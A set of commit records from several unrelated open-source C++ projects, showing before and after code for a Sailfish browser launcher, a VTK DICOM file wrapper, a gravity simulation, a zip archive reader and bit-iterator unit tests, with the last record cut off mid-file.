QObject::connect(service, SIGNAL(activateNewTabViewRequested()), clsEventFilter, SLOT(cancelStopApplication())); QObject::connect(uiService, SIGNAL(openUrlRequested(QString)), clsEventFilter, SLOT(cancelStopApplication())); QObject::connect(uiService, SIGNAL(activateNewTabViewRequested()), clsEventFilter, SLOT(cancelStopApplication())); #ifdef USE_RESOURCES view->setSource(QUrl("qrc:///browser.qml")); #else bool isDesktop = app->arguments().contains("-desktop"); QString path; if (isDesktop) { path = app->applicationDirPath() + QDir::separator(); } else { path = QString(DEPLOYMENT_PATH); } view->setSource(QUrl::fromLocalFile(path+"browser.qml")); #endif // Setup embedding QTimer::singleShot(0, QMozContext::GetInstance(), SLOT(runEmbedding())); if (!app->arguments().contains(QStringLiteral("-prestart"))) { if (app->arguments().count() > 1 && (app->arguments().last() != QStringLiteral("-debugMode"))) { emit utils->openUrlRequested(app->arguments().last()); } else if (!utils->firstUseDone()) { emit utils->openUrlRequested(""); } } return app->exec(); } <commit_msg>[sailfish-browser] Use common uri argument to register qml types<commit_after>/**************************************************************************** ** ** Copyright (C) 2013 Jolla Ltd. ** Contact: Vesa-Matti Hartikainen <vesa-matti.hartikainen@jollamobile.com> ** ****************************************************************************/ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this file, * You can obtain one at http://mozilla.org/MPL/2.0/. */ #include <QGuiApplication> #include <QQuickView> #include <qqmldebug.h> #include <QQmlContext> #include <QQmlEngine> #include <QtQml> #include <QTimer> #include <QTranslator> #include <QDir> #include <QScreen> #include <QDBusConnection> #include <QDBusMessage> #include <QDBusPendingCall> #include "qmozcontext.h" #include "declarativebookmarkmodel.h" #include "desktopbookmarkwriter.h" #include "declarativewebutils.h" #include "browserservice.h" #include "downloadmanager.h" #include "closeeventfilter.h" #include "persistenttabmodel.h" #include "privatetabmodel.h" #include "declarativehistorymodel.h" #include "declarativewebcontainer.h" #include "declarativewebpage.h" #include "declarativewebpagecreator.h" #include "declarativefileuploadmode.h" #include "declarativefileuploadfilter.h" #include "iconfetcher.h" #include "inputregion.h" #ifdef HAS_BOOSTER #include <MDeclarativeCache> #endif Q_DECL_EXPORT int main(int argc, char *argv[]) { setenv("USE_ASYNC", "1", 1); setenv("USE_NEMO_GSTREAMER", "1", 1); setenv("NO_LIMIT_ONE_GST_DECODER", "1", 1); // Workaround for https://bugzilla.mozilla.org/show_bug.cgi?id=929879 setenv("LC_NUMERIC", "C", 1); setlocale(LC_NUMERIC, "C"); QQuickWindow::setDefaultAlphaBuffer(true); if (!qgetenv("QML_DEBUGGING_ENABLED").isEmpty()) { QQmlDebuggingEnabler qmlDebuggingEnabler; } #ifdef HAS_BOOSTER QScopedPointer<QGuiApplication> app(MDeclarativeCache::qApplication(argc, argv)); QScopedPointer<QQuickView> view(MDeclarativeCache::qQuickView()); #else QScopedPointer<QGuiApplication> app(new QGuiApplication(argc, argv)); QScopedPointer<QQuickView> view(new QQuickView); #endif app->setQuitOnLastWindowClosed(false); // GRE_HOME must be set before QMozContext is initialized. // With invoker PWD is empty. QByteArray binaryPath = QCoreApplication::applicationDirPath().toLocal8Bit(); setenv("GRE_HOME", binaryPath.constData(), 1); // Don't set custom user agent string when the environment already contains CUSTOM_UA. if (qgetenv("CUSTOM_UA").isEmpty()) { setenv("CUSTOM_UA", "Mozilla/5.0 (Maemo; Linux; U; Jolla; Sailfish; Mobile; rv:31.0) Gecko/31.0 Firefox/31.0 SailfishBrowser/1.0", 1); } BrowserService *service = new BrowserService(app.data()); // Handle command line launch if (!service->registered()) { QDBusMessage message; if (app->arguments().contains("-dumpMemory")) { int index = app->arguments().indexOf("-dumpMemory"); QString fileName; if (index + 1 < app->arguments().size()) { fileName = app->arguments().at(index + 1); } message = QDBusMessage::createMethodCall(service->serviceName(), "/", service->serviceName(), "dumpMemoryInfo"); message.setArguments(QVariantList() << fileName); } else { message = QDBusMessage::createMethodCall(service->serviceName(), "/", service->serviceName(), "openUrl"); QStringList args; // Pass url argument if given if (app->arguments().count() > 1) { args << app->arguments().at(1); } message.setArguments(QVariantList() << args); } QDBusConnection::sessionBus().asyncCall(message); if (QCoreApplication::hasPendingEvents()) { QCoreApplication::processEvents(); } return 0; } BrowserUIService *uiService = new BrowserUIService(app.data()); QString translationPath("/usr/share/translations/"); QTranslator engineeringEnglish; engineeringEnglish.load("sailfish-browser_eng_en", translationPath); qApp->installTranslator(&engineeringEnglish); QTranslator translator; translator.load(QLocale(), "sailfish-browser", "-", translationPath); qApp->installTranslator(&translator); //% "Browser" view->setTitle(qtTrId("sailfish-browser-ap-name")); const char *uri = "Sailfish.Browser"; // Use QtQuick 2.1 for Sailfish.Browser imports qmlRegisterRevision<QQuickItem, 1>(uri, 1, 0); qmlRegisterRevision<QWindow, 1>(uri, 1, 0); qmlRegisterType<DeclarativeBookmarkModel>(uri, 1, 0, "BookmarkModel"); qmlRegisterUncreatableType<DeclarativeTabModel>(uri, 1, 0, "TabModel", "TabModel is abstract!"); qmlRegisterUncreatableType<PersistentTabModel>(uri, 1, 0, "PersistentTabModel", ""); qmlRegisterUncreatableType<PrivateTabModel>(uri, 1, 0, "PrivateTabModel", ""); qmlRegisterType<DeclarativeHistoryModel>(uri, 1, 0, "HistoryModel"); qmlRegisterType<DeclarativeWebContainer>(uri, 1, 0, "WebContainer"); qmlRegisterType<DeclarativeWebPage>(uri, 1, 0, "WebPage"); qmlRegisterType<DeclarativeWebPageCreator>(uri, 1, 0, "WebPageCreator"); qmlRegisterType<DeclarativeFileUploadMode>(uri, 1, 0, "FileUploadMode"); qmlRegisterType<DeclarativeFileUploadFilter>(uri, 1, 0, "FileUploadFilter"); qmlRegisterType<DesktopBookmarkWriter>(uri, 1, 0, "DesktopBookmarkWriter"); qmlRegisterType<IconFetcher>(uri, 1, 0, "IconFetcher"); qmlRegisterType<InputRegion>(uri, 1, 0, "InputRegion"); QString componentPath(DEFAULT_COMPONENTS_PATH); QMozContext::GetInstance()->addComponentManifest(componentPath + QString("/components/EmbedLiteBinComponents.manifest")); QMozContext::GetInstance()->addComponentManifest(componentPath + QString("/components/EmbedLiteJSComponents.manifest")); QMozContext::GetInstance()->addComponentManifest(componentPath + QString("/chrome/EmbedLiteJSScripts.manifest")); QMozContext::GetInstance()->addComponentManifest(componentPath + QString("/chrome/EmbedLiteOverrides.manifest")); app->setApplicationName(QString("sailfish-browser")); app->setOrganizationName(QString("org.sailfishos")); DeclarativeWebUtils *utils = DeclarativeWebUtils::instance(); utils->connect(service, SIGNAL(openUrlRequested(QString)), utils, SIGNAL(openUrlRequested(QString))); utils->connect(service, SIGNAL(activateNewTabViewRequested()), utils, SIGNAL(activateNewTabViewRequested())); utils->connect(service, SIGNAL(dumpMemoryInfoRequested(QString)), utils, SLOT(handleDumpMemoryInfoRequest(QString))); utils->connect(uiService, SIGNAL(openUrlRequested(QString)), utils, SIGNAL(openUrlRequested(QString))); utils->connect(uiService, SIGNAL(activateNewTabViewRequested()), utils, SIGNAL(activateNewTabViewRequested())); utils->clearStartupCacheIfNeeded(); view->rootContext()->setContextProperty("WebUtils", utils); view->rootContext()->setContextProperty("MozContext", QMozContext::GetInstance()); view->rootContext()->setContextProperty("Settings", SettingManager::instance()); DownloadManager *dlMgr = DownloadManager::instance(); dlMgr->connect(service, SIGNAL(cancelTransferRequested(int)), dlMgr, SLOT(cancelTransfer(int))); dlMgr->connect(service, SIGNAL(restartTransferRequested(int)), dlMgr, SLOT(restartTransfer(int))); CloseEventFilter * clsEventFilter = new CloseEventFilter(dlMgr, app.data()); view->installEventFilter(clsEventFilter); QObject::connect(service, SIGNAL(openUrlRequested(QString)), clsEventFilter, SLOT(cancelStopApplication())); QObject::connect(service, SIGNAL(activateNewTabViewRequested()), clsEventFilter, SLOT(cancelStopApplication())); QObject::connect(uiService, SIGNAL(openUrlRequested(QString)), clsEventFilter, SLOT(cancelStopApplication())); QObject::connect(uiService, SIGNAL(activateNewTabViewRequested()), clsEventFilter, SLOT(cancelStopApplication())); #ifdef USE_RESOURCES view->setSource(QUrl("qrc:///browser.qml")); #else bool isDesktop = app->arguments().contains("-desktop"); QString path; if (isDesktop) { path = app->applicationDirPath() + QDir::separator(); } else { path = QString(DEPLOYMENT_PATH); } view->setSource(QUrl::fromLocalFile(path+"browser.qml")); #endif // Setup embedding QTimer::singleShot(0, QMozContext::GetInstance(), SLOT(runEmbedding())); if (!app->arguments().contains(QStringLiteral("-prestart"))) { if (app->arguments().count() > 1 && (app->arguments().last() != QStringLiteral("-debugMode"))) { emit utils->openUrlRequested(app->arguments().last()); } else if (!utils->firstUseDone()) { emit utils->openUrlRequested(""); } } return app->exec(); } <|endoftext|>
<commit_before>/*========================================================================= Program: DICOM for VTK Copyright (c) 2012-2014 David Gobbi All rights reserved. See Copyright.txt or http://dgobbi.github.io/bsd3.txt for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #include "vtkDICOMFile.h" #ifdef VTK_DICOM_POSIX_IO #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #else #include <stdio.h> #endif //---------------------------------------------------------------------------- vtkDICOMFile::vtkDICOMFile(const char *filename, Mode mode) { #ifdef VTK_DICOM_POSIX_IO this->Handle = -1; this->Error = 0; this->Eof = false; if (mode == In) { this->Handle = open(filename, O_RDONLY); } else if (mode == Out) { this->Handle = open(filename, O_WRONLY | O_CREAT, 000066); } if (this->Handle == -1) { if (errno == EACCES) { this->Error = Access; } else if (errno == EISDIR) { this->Error = IsDir; } else { this->Error = Bad; } } #else this->Handle = 0; this->Error = 0; this->Eof = false; if (mode == In) { this->Handle = fopen(filename, "rb"); } else if (mode == Out) { this->Handle = fopen(filename, "wb"); } if (this->Handle == 0) { this->Error = Bad; } #endif } //---------------------------------------------------------------------------- vtkDICOMFile::~vtkDICOMFile() { this->Close(); } //---------------------------------------------------------------------------- void vtkDICOMFile::Close() { #ifdef VTK_DICOM_POSIX_IO if (this->Handle) { if (close(this->Handle) == 0) { this->Error = 0; } else if (errno != EINTR) { this->Error = Bad; } this->Handle = 0; } #else fclose(static_cast<FILE *>(this->Handle)); #endif } //---------------------------------------------------------------------------- size_t vtkDICOMFile::Read(char *data, size_t len) { #ifdef VTK_DICOM_POSIX_IO ssize_t n; while ((n = read(this->Handle, data, len)) == -1) { if (errno != EINTR) { break; } } if (n == 0) { this->Eof = true; } else if (n == -1) { this->Error = Bad; n = 0; } return n; #else size_t n = fread(data, 1, len, static_cast<FILE *>(this->Handle)); if (n != len || len == 0) { this->Eof = (feof(static_cast<FILE *>(this->Handle)) != 0); this->Error = (ferror(static_cast<FILE *>(this->Handle)) == 0 ? 0 : Bad); } return n; #endif } //---------------------------------------------------------------------------- size_t vtkDICOMFile::Write(const char *data, size_t len) { #ifdef VTK_DICOM_POSIX_IO ssize_t n; while ((n = write(this->Handle, data, len)) == -1) { if (errno != EINTR) { break; } } if (n == -1) { this->Error = Bad; n = 0; } return n; #else size_t n = fwrite(data, 1, len, static_cast<FILE *>(this->Handle)); if (n != len || len == 0) { this->Error = (ferror(static_cast<FILE *>(this->Handle)) == 0 ? 0 : Bad); } return n; #endif } //---------------------------------------------------------------------------- bool vtkDICOMFile::Seek(Offset offset) { #ifdef VTK_DICOM_POSIX_IO #if defined(__linux__) && defined(_LARGEFILE64_SOURCE) off64_t pos = lseek64(this->Handle, offset, SEEK_SET); #else off_t pos = lseek(this->Handle, offset, SEEK_SET); #endif if (pos == -1) { this->Error = Bad; return false; } return true; #else return (fseek(static_cast<FILE *>(this->Handle), offset, SEEK_SET) == 0); #endif } <commit_msg>Check for valid handle before calling fclose().<commit_after>/*========================================================================= Program: DICOM for VTK Copyright (c) 2012-2014 David Gobbi All rights reserved. See Copyright.txt or http://dgobbi.github.io/bsd3.txt for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #include "vtkDICOMFile.h" #ifdef VTK_DICOM_POSIX_IO #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #else #include <stdio.h> #endif //---------------------------------------------------------------------------- vtkDICOMFile::vtkDICOMFile(const char *filename, Mode mode) { #ifdef VTK_DICOM_POSIX_IO this->Handle = -1; this->Error = 0; this->Eof = false; if (mode == In) { this->Handle = open(filename, O_RDONLY); } else if (mode == Out) { this->Handle = open(filename, O_WRONLY | O_CREAT, 000066); } if (this->Handle == -1) { if (errno == EACCES) { this->Error = Access; } else if (errno == EISDIR) { this->Error = IsDir; } else { this->Error = Bad; } } #else this->Handle = 0; this->Error = 0; this->Eof = false; if (mode == In) { this->Handle = fopen(filename, "rb"); } else if (mode == Out) { this->Handle = fopen(filename, "wb"); } if (this->Handle == 0) { this->Error = Bad; } #endif } //---------------------------------------------------------------------------- vtkDICOMFile::~vtkDICOMFile() { this->Close(); } //---------------------------------------------------------------------------- void vtkDICOMFile::Close() { #ifdef VTK_DICOM_POSIX_IO if (this->Handle) { if (close(this->Handle) == 0) { this->Error = 0; } else if (errno != EINTR) { this->Error = Bad; } this->Handle = 0; } #else if (this->Handle) { fclose(static_cast<FILE *>(this->Handle)); } this->Handle = 0; #endif } //---------------------------------------------------------------------------- size_t vtkDICOMFile::Read(char *data, size_t len) { #ifdef VTK_DICOM_POSIX_IO ssize_t n; while ((n = read(this->Handle, data, len)) == -1) { if (errno != EINTR) { break; } errno = 0; } if (n == 0) { this->Eof = true; } else if (n == -1) { this->Error = Bad; n = 0; } return n; #else size_t n = fread(data, 1, len, static_cast<FILE *>(this->Handle)); if (n != len || len == 0) { this->Eof = (feof(static_cast<FILE *>(this->Handle)) != 0); this->Error = (ferror(static_cast<FILE *>(this->Handle)) == 0 ? 0 : Bad); } return n; #endif } //---------------------------------------------------------------------------- size_t vtkDICOMFile::Write(const char *data, size_t len) { #ifdef VTK_DICOM_POSIX_IO ssize_t n; while ((n = write(this->Handle, data, len)) == -1) { if (errno != EINTR) { break; } errno = 0; } if (n == -1) { this->Error = Bad; n = 0; } return n; #else size_t n = fwrite(data, 1, len, static_cast<FILE *>(this->Handle)); if (n != len || len == 0) { this->Error = (ferror(static_cast<FILE *>(this->Handle)) == 0 ? 0 : Bad); } return n; #endif } //---------------------------------------------------------------------------- bool vtkDICOMFile::Seek(Offset offset) { #ifdef VTK_DICOM_POSIX_IO #if defined(__linux__) && defined(_LARGEFILE64_SOURCE) off64_t pos = lseek64(this->Handle, offset, SEEK_SET); #else off_t pos = lseek(this->Handle, offset, SEEK_SET); #endif if (pos == -1) { this->Error = Bad; return false; } return true; #else return (fseek(static_cast<FILE *>(this->Handle), offset, SEEK_SET) == 0); #endif } <|endoftext|>
<commit_before>#ifdef _WIN32 #define M_PI 3.14 #endif #include <cmath> #include <iostream> #include <fstream> #include "Body.hpp" #define G 15 // TODO: Get the right number #define SIZE 6 #define DENSITY 7878 // kg/m^3 using namespace sf; using namespace std; Body::Body(Vector2f pos, int m, Vector2f dir) : position(pos), direction(dir), mass(m) { float volume = DENSITY / mass; float radius = cbrt(3*volume/4*M_PI) * 0.5; shape.setRadius(radius); shape.setFillColor(Color::Red); } void Body::move(float dt) { position += direction * dt; } void Body::applyGravityOf(const Body &b, float dt) { // Get the force between bodies if (getDistanceTo(b) < 0) cout << "R" << endl; float F = fabs(G * (mass*b.mass / getDistanceTo(b)*getDistanceTo(b) ) ); // cout << F << endl; // Get the unit vector to the other body Vector2f to_Body(b.position - position); to_Body = to_Body / getDistanceTo(b); // Apply the force in the direction of the other body cout << ((to_Body * F) * dt).x << ';' << ((to_Body * F) * dt).y << endl; position += (to_Body * F) * dt; } float Body::getDistanceTo(const Body &p) { Vector2f a = this->position; Vector2f b = p.position; return sqrt((b.x-a.x)*(b.x-a.x)+(b.y*a.y)*(b.y*a.y)); } void Body::draw(RenderWindow &window) { shape.setPosition(position); window.draw(shape); } bool Body::operator!=(const Body& b) { return (this->direction != b.direction) && (this->mass != b.mass) && (this->position != b.position); } <commit_msg>Physics work properly<commit_after>#ifdef _WIN32 #define M_PI 3.14 #endif #include <cmath> #include <iostream> #include <fstream> #include "Body.hpp" #define G 15 // TODO: Get the right number #define SIZE 6 #define DENSITY 7878 // kg/m^3 using namespace sf; using namespace std; Body::Body(Vector2f pos, int m, Vector2f dir) : position(pos), direction(dir), mass(m) { float volume = DENSITY / mass; float radius = cbrt(3*volume/4*M_PI) * 0.5; shape.setRadius(radius); shape.setFillColor(Color::Red); } void Body::move(float dt) { position += direction * dt; } void Body::applyGravityOf(const Body &b, float dt) { float F = fabs(G * (mass*b.mass / getDistanceTo(b)*getDistanceTo(b) ) ); // cout << F << endl; // Get the unit vector to the other body Vector2f to_Body(b.position - position); to_Body = to_Body / getDistanceTo(b); // Apply the force in the direction of the other body direction += (to_Body * F) * dt; // position += (to_Body * F) * dt; } float Body::getDistanceTo(const Body &p) { Vector2f a = this->position; Vector2f b = p.position; return sqrt((b.x-a.x)*(b.x-a.x)+(b.y*a.y)*(b.y*a.y)); } void Body::draw(RenderWindow &window) { shape.setPosition(position); window.draw(shape); } bool Body::operator!=(const Body& b) { return (this->direction != b.direction) && (this->mass != b.mass) && (this->position != b.position); } <|endoftext|>
<commit_before>// Copyright 2015-2020 Elviss Strazdins. All rights reserved. #ifndef OUZEL_STORAGE_ARCHIVE_HPP #define OUZEL_STORAGE_ARCHIVE_HPP #include <cstdint> #include <fstream> #include <map> #include <stdexcept> #include <string> #include <vector> #include "Path.hpp" #include "../utils/Utils.hpp" namespace ouzel::storage { class Archive final { public: Archive() = default; explicit Archive(const Path& path): file{path, std::ios::binary} { constexpr std::uint32_t centralDirectory = 0x02014B50U; constexpr std::uint32_t headerSignature = 0x04034B50U; for (;;) { std::uint8_t signatureData[4]; file.read(reinterpret_cast<char*>(signatureData), sizeof(signatureData)); if (decodeLittleEndian<std::uint32_t>(signatureData) == centralDirectory) break; if (decodeLittleEndian<std::uint32_t>(signatureData) != headerSignature) throw std::runtime_error("Bad signature"); file.seekg(2, std::ios::cur); // skip version file.seekg(2, std::ios::cur); // skip flags std::uint8_t compressionData[2]; file.read(reinterpret_cast<char*>(&compressionData), sizeof(compressionData)); if (decodeLittleEndian<std::uint16_t>(compressionData) != 0x00) throw std::runtime_error("Unsupported compression"); file.seekg(2, std::ios::cur); // skip modification time file.seekg(2, std::ios::cur); // skip modification date file.seekg(4, std::ios::cur); // skip CRC-32 std::uint8_t compressedSizeData[4]; file.read(reinterpret_cast<char*>(compressedSizeData), sizeof(compressedSizeData)); std::uint8_t uncompressedSizeData[4]; file.read(reinterpret_cast<char*>(uncompressedSizeData), sizeof(uncompressedSizeData)); const size_t uncompressedSize = decodeLittleEndian<std::uint32_t>(uncompressedSizeData); std::uint8_t fileNameLengthData[2]; file.read(reinterpret_cast<char*>(fileNameLengthData), sizeof(fileNameLengthData)); const size_t fileNameLength = decodeLittleEndian<std::uint16_t>(fileNameLengthData); std::uint8_t extraFieldLengthData[2]; file.read(reinterpret_cast<char*>(extraFieldLengthData), sizeof(extraFieldLengthData)); const size_t extraFieldLength = decodeLittleEndian<std::uint16_t>(extraFieldLengthData); auto name = std::make_unique<char[]>(fileNameLength + 1); // +1 for null character file.read(name.get(), static_cast<std::streamsize>(fileNameLength)); Entry& entry = entries[name.get()]; entry.size = uncompressedSize; file.seekg(static_cast<std::streamoff>(extraFieldLength), std::ios::cur); // skip extra field entry.offset = file.tellg(); file.seekg(static_cast<std::streamoff>(uncompressedSize), std::ios::cur); // skip uncompressed size } } std::vector<std::byte> readFile(const std::string& filename) { const auto i = entries.find(filename); if (i == entries.end()) throw std::runtime_error("File " + filename + " does not exist"); file.seekg(i->second.offset, std::ios::beg); std::vector<std::byte> data(i->second.size); file.read(reinterpret_cast<char*>(data.data()), static_cast<std::streamsize>(i->second.size)); return data; } bool fileExists(const std::string& filename) const { return entries.find(filename) != entries.end(); } private: std::ifstream file; struct Entry final { std::streamoff offset; std::size_t size; }; std::map<std::string, Entry> entries; }; } #endif // OUZEL_STORAGE_ARCHIVE_HPP <commit_msg>Construct entry before inserting it into entries<commit_after>// Copyright 2015-2020 Elviss Strazdins. All rights reserved. #ifndef OUZEL_STORAGE_ARCHIVE_HPP #define OUZEL_STORAGE_ARCHIVE_HPP #include <cstdint> #include <fstream> #include <map> #include <stdexcept> #include <string> #include <vector> #include "Path.hpp" #include "../utils/Utils.hpp" namespace ouzel::storage { class Archive final { public: Archive() = default; explicit Archive(const Path& path): file{path, std::ios::binary} { constexpr std::uint32_t centralDirectory = 0x02014B50U; constexpr std::uint32_t headerSignature = 0x04034B50U; for (;;) { std::uint8_t signatureData[4]; file.read(reinterpret_cast<char*>(signatureData), sizeof(signatureData)); if (decodeLittleEndian<std::uint32_t>(signatureData) == centralDirectory) break; if (decodeLittleEndian<std::uint32_t>(signatureData) != headerSignature) throw std::runtime_error("Bad signature"); file.seekg(2, std::ios::cur); // skip version file.seekg(2, std::ios::cur); // skip flags std::uint8_t compressionData[2]; file.read(reinterpret_cast<char*>(&compressionData), sizeof(compressionData)); if (decodeLittleEndian<std::uint16_t>(compressionData) != 0x00) throw std::runtime_error("Unsupported compression"); file.seekg(2, std::ios::cur); // skip modification time file.seekg(2, std::ios::cur); // skip modification date file.seekg(4, std::ios::cur); // skip CRC-32 std::uint8_t compressedSizeData[4]; file.read(reinterpret_cast<char*>(compressedSizeData), sizeof(compressedSizeData)); std::uint8_t uncompressedSizeData[4]; file.read(reinterpret_cast<char*>(uncompressedSizeData), sizeof(uncompressedSizeData)); const size_t uncompressedSize = decodeLittleEndian<std::uint32_t>(uncompressedSizeData); std::uint8_t fileNameLengthData[2]; file.read(reinterpret_cast<char*>(fileNameLengthData), sizeof(fileNameLengthData)); const size_t fileNameLength = decodeLittleEndian<std::uint16_t>(fileNameLengthData); std::uint8_t extraFieldLengthData[2]; file.read(reinterpret_cast<char*>(extraFieldLengthData), sizeof(extraFieldLengthData)); const size_t extraFieldLength = decodeLittleEndian<std::uint16_t>(extraFieldLengthData); auto name = std::make_unique<char[]>(fileNameLength + 1); // +1 for null character file.read(name.get(), static_cast<std::streamsize>(fileNameLength)); file.seekg(static_cast<std::streamoff>(extraFieldLength), std::ios::cur); // skip extra field entries[name.get()] = {file.tellg(), uncompressedSize}; file.seekg(static_cast<std::streamoff>(uncompressedSize), std::ios::cur); // skip uncompressed size } } std::vector<std::byte> readFile(const std::string& filename) { const auto i = entries.find(filename); if (i == entries.end()) throw std::runtime_error("File " + filename + " does not exist"); file.seekg(i->second.offset, std::ios::beg); std::vector<std::byte> data(i->second.size); file.read(reinterpret_cast<char*>(data.data()), static_cast<std::streamsize>(i->second.size)); return data; } bool fileExists(const std::string& filename) const { return entries.find(filename) != entries.end(); } private: std::ifstream file; struct Entry final { std::streamoff offset; std::size_t size; }; std::map<std::string, Entry> entries; }; } #endif // OUZEL_STORAGE_ARCHIVE_HPP <|endoftext|>
<commit_before>#include <boost/test/unit_test.hpp> #include "../unittest_config.h" #include <vector> #include <type_traits> #include "clotho/utility/bit_walker.hpp" #include "clotho/utility/bit_block_iterator.hpp" typedef unsigned long block_type; typedef unsigned short sub_block_type; typedef clotho::utility::block_walker< block_type, sub_block_type > walker_type; typedef clotho::utility::block_walker< block_type, sub_block_type, clotho::utility::bit_block_walker< sizeof(block_type) * 8> > other_walker_type; struct set_bit_vector_op { set_bit_vector_op() {} void operator()( unsigned int idx ) { indices.push_back(idx); } void reset() { indices.clear(); } std::vector< unsigned int > indices; }; BOOST_AUTO_TEST_SUITE( test_utility ) /** * Verify bits_per_block are initialized appropriately */ BOOST_AUTO_TEST_CASE( test_bit_walker_bit_sizes ) { const unsigned int bpb = walker_type::bits_per_block; const unsigned int bpsb = walker_type::bits_per_subblock; BOOST_REQUIRE_MESSAGE( bpb == sizeof(block_type) * 8, "Unexpected bits_per_block: " << bpb << " (" << (sizeof(block_type) * 8) << ")"); BOOST_REQUIRE_MESSAGE( bpsb == sizeof(sub_block_type) * 8, "Unexpected bits_per_subblock: " << bpsb << " (" << (sizeof(sub_block_type) * 8) << ")"); } BOOST_AUTO_TEST_CASE( test_bit_node_init ) { // clotho::utility::bit_block_walker< 300 > bw3; // should not compile because of enable_if in general bit_walker walker_type::bit_walker_type bw; for( unsigned int i = 1; i < walker_type::bit_walker_type::max_nodes; ++i ) { unsigned int s = (i & (1 << bw.getNode()[i].bit_index)); BOOST_REQUIRE_MESSAGE( s != 0, "Unexpected bit state: " << i << " @ " << bw.getNode()[i].bit_index ); if( bw.getNode()[i].next ) { unsigned int k = (i >> bw.getNode()[i].bit_shift_next); BOOST_REQUIRE_MESSAGE( k == bw.getNode()[i].next, "Unexpected next node: " << i << " -> " << k << " (" << bw.getNode()[i].next << ")"); } } } /** * Initialize a block with every odd bit set, and initialize an expected index vector * * Apply the set_bit_vector_op * * Verify that the result vector matches the expected vector */ BOOST_AUTO_TEST_CASE( test_bit_walker_set_bits ) { std::vector< unsigned int > expected; block_type _bits = 0, mask = 1; for( unsigned int i = 0; i < walker_type::bits_per_block; ++i ) { if( i & 1 ) { expected.push_back( i ); _bits |= mask; } mask <<= 1; } set_bit_vector_op sbv; walker_type::apply( _bits, sbv ); BOOST_REQUIRE_MESSAGE( sbv.indices == expected, "Unexpected list of set bits was returned" ); } /** * Initialize a block with every odd bit set, and initialize an expected index vector * * Apply the set_bit_vector_op * * Verify that the result vector matches the expected vector */ BOOST_AUTO_TEST_CASE( test_other_bit_walker_set_bits ) { BOOST_REQUIRE_MESSAGE( (std::is_same< other_walker_type::bit_walker_type, clotho::utility::bit_block_walker< sizeof(block_type) * 8 > >::value), "Unexpected bit block walker (test 1)" ); BOOST_REQUIRE_MESSAGE( (!std::is_same< other_walker_type::bit_walker_type, clotho::utility::bit_block_walker< 16 > >::value), "Unexpected bit block walker (test 2)" ); std::vector< unsigned int > expected; block_type _bits = 0, mask = 1; for( unsigned int i = 0; i < walker_type::bits_per_block; ++i ) { if( i & 1 ) { expected.push_back( i ); _bits |= mask; } mask <<= 1; } set_bit_vector_op sbv; other_walker_type::apply( _bits, sbv ); BOOST_REQUIRE_MESSAGE( sbv.indices == expected, "Unexpected list of set bits was returned" ); } /** * */ BOOST_AUTO_TEST_CASE( test_bit_block_iterator_walk ) { typedef clotho::utility::bit_block_iterator< block_type, clotho::utility::walk_iterator_tag > bit_iterator; block_type val = (block_type)0x10A10000; unsigned int e_bit_count = 4; bit_iterator it(val); std::vector< unsigned int > set_bits; while( !it.done() ) { set_bits.push_back( *it ); ++it; } BOOST_REQUIRE_MESSAGE( set_bits.size() == e_bit_count, "Unexpected number of set bits in " << val << ". " << set_bits.size() << " != " << e_bit_count ); std::vector< unsigned int >::iterator bit_it = set_bits.begin(); while( bit_it != set_bits.end() ) { BOOST_REQUIRE_MESSAGE( (val & ((block_type)1 << *bit_it)), "Bit " << *bit_it << " was not set in " << val << " but should be"); ++bit_it; } } BOOST_AUTO_TEST_CASE( test_bit_block_iterator_preprocess ) { typedef clotho::utility::bit_block_iterator< block_type, clotho::utility::preprocess_iterator_tag > bit_iterator; block_type val = (block_type)0x10A10000; unsigned int e_bit_count = 4; bit_iterator it(val); std::vector< unsigned int > set_bits; while( !it.done() ) { set_bits.push_back( *it ); ++it; } BOOST_REQUIRE_MESSAGE( set_bits.size() == e_bit_count, "Unexpected number of set bits in " << val << ". " << set_bits.size() << " != " << e_bit_count ); std::vector< unsigned int >::iterator bit_it = set_bits.begin(); while( bit_it != set_bits.end() ) { BOOST_REQUIRE_MESSAGE( (val & ((block_type)1 << *bit_it)), "Bit " << *bit_it << " was not set in " << val << " but should be"); ++bit_it; } } BOOST_AUTO_TEST_SUITE_END() <commit_msg>fixed namespace path; added preprocess iterator header<commit_after>#include <boost/test/unit_test.hpp> #include "../unittest_config.h" #include <vector> #include <type_traits> #include "clotho/utility/bit_walker.hpp" #include "clotho/utility/bit_block_iterator.hpp" #include "clotho/utility/preprocess_bit_block_iterator.hpp" typedef unsigned long block_type; typedef unsigned short sub_block_type; typedef clotho::utility::block_walker< block_type, sub_block_type > walker_type; typedef clotho::utility::block_walker< block_type, sub_block_type, clotho::utility::bit_block_walker< sizeof(block_type) * 8> > other_walker_type; struct set_bit_vector_op { set_bit_vector_op() {} void operator()( unsigned int idx ) { indices.push_back(idx); } void reset() { indices.clear(); } std::vector< unsigned int > indices; }; BOOST_AUTO_TEST_SUITE( test_utility ) /** * Verify bits_per_block are initialized appropriately */ BOOST_AUTO_TEST_CASE( test_bit_walker_bit_sizes ) { const unsigned int bpb = walker_type::bits_per_block; const unsigned int bpsb = walker_type::bits_per_subblock; BOOST_REQUIRE_MESSAGE( bpb == sizeof(block_type) * 8, "Unexpected bits_per_block: " << bpb << " (" << (sizeof(block_type) * 8) << ")"); BOOST_REQUIRE_MESSAGE( bpsb == sizeof(sub_block_type) * 8, "Unexpected bits_per_subblock: " << bpsb << " (" << (sizeof(sub_block_type) * 8) << ")"); } BOOST_AUTO_TEST_CASE( test_bit_node_init ) { // clotho::utility::bit_block_walker< 300 > bw3; // should not compile because of enable_if in general bit_walker walker_type::bit_walker_type bw; for( unsigned int i = 1; i < walker_type::bit_walker_type::max_nodes; ++i ) { unsigned int s = (i & (1 << bw.getNode()[i].bit_index)); BOOST_REQUIRE_MESSAGE( s != 0, "Unexpected bit state: " << i << " @ " << bw.getNode()[i].bit_index ); if( bw.getNode()[i].next ) { unsigned int k = (i >> bw.getNode()[i].bit_shift_next); BOOST_REQUIRE_MESSAGE( k == bw.getNode()[i].next, "Unexpected next node: " << i << " -> " << k << " (" << 